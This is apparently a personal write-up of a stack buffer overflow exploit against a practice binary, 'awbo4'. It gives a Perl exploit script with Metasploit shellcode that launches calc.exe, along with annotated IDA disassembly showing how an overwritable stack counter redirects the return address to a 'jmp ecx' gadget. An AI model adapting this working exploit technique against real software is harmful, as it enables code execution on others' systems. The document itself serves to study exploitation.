#!/usr/bin/perl -w # windows/exec - 121 bytes # http://www.metasploit.com # EXITFUNC=seh, CMD=calc.exe $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" . "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" . "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" . "\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" . "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" . "\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" . "\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" . "\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" . "\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; $buf = "B" x 128; # 128 bytes of filler $buf .= "\x8b"; # overwrite count so it points to ret $buf .= "\x78\x43\xf8\x77"; # jmp ecx from ntdll.dll $buf .= "A"; # "A" so that the ret branch is taken $buf .= "A" x 27; # 27 bytes of filler $buf .= $shellcode; # shellcode print $buf;
Here are my notes on IDA's output.
...
loc_401011:
mov eax, stru_406030._cnt ; copy cnt from a structure into eax--buf count
sub eax, 1 ; subtract 1 from it
mov stru_406030._cnt, eax ; copy it back to the structure
cmp stru_406030._cnt, 0 ; compare cnt against 0
jl short loc_40104B ; if cnt is less than 0, jump to loc_40104B
mov ecx, stru_406030._ptr ; copy pointer to buf into ecx
movsx edx, byte ptr [ecx] ; copy what ecx points to into edx
and edx, 0FFh ; mask off everything except lsb--character from buf
mov [ebp+var_8C], edx ; copy character to ebp-140
mov eax, stru_406030._ptr ; copy pointer to buf into eax
add eax, 1 ; add 1 to it
mov stru_406030._ptr, eax ; copy it back to structure
jmp short loc_40105E ; jump to loc_40105E
loc_40104B: ; FILE *
push offset stru_406030 ; push a pointer to a FILE structure onto the stack
call __filbuf ; call filbuf() -- takes input from stdin and writes it to a buffer in the data section?
add esp, 4 ; clean up function parameters
mov [ebp+var_8C], eax ; copy return value--first character of buf--to ebp-140
loc_40105E:
mov cl, byte ptr [ebp+var_8C] ; copy ebp-140 into low order byte of ecx--character to copy from data section to stack
mov [ebp+var_4], cl ; copy low order byte of ecx to ebp-4
movsx edx, [ebp+var_4] ; copy and sign extend? ebp-4 to edx
cmp edx, 41h ; compare edx to 0x41 ("A")
jz short loc_40108D ; if edx equals "A", jump to loc_40108D--return path
mov eax, [ebp+var_8] ; copy ebp-8 into eax--counter on stack
and eax, 0FFh ; mask off everything except lsb
mov cl, [ebp+var_4] ; copy ebp-4 into lsb of ecx
mov [ebp+eax+var_88], cl ; copy lsb of ecx to the stack based on ebp + counter in eax - 88
mov dl, byte ptr [ebp+var_8] ; copy counter in ebp-8 into lsb edx
add dl, 1 ; add 1 to counter
mov byte ptr [ebp+var_8], dl ; copy it back to ebp-8
jmp short loc_401011 ; jump back to loc_401011
loc_40108D: -- return path
...
retn ; gimme your calc.exe
_main endp
awbo4 calls a function, filebuf(), that takes input from stdin and writes it somewhere in data land.
Then it loops through this buffer testing each character against 'A'. If an 'A' is seen, it breaks out of the loop and main returns, else it copies the character onto the stack. Fortunately for me, it just blindly copies characters to the stack without bounds checking.
There's an additional counter on the stack at ebp-8, that controls where on the stack the next character is written. This counter itself, can be overwritten. If this counter is carefully overwritten, it lets me overwrite main()'s saved return address
On return, ECX conveniently points to a piece of the input buffer, letting a call ecx instruction execute some shellcode.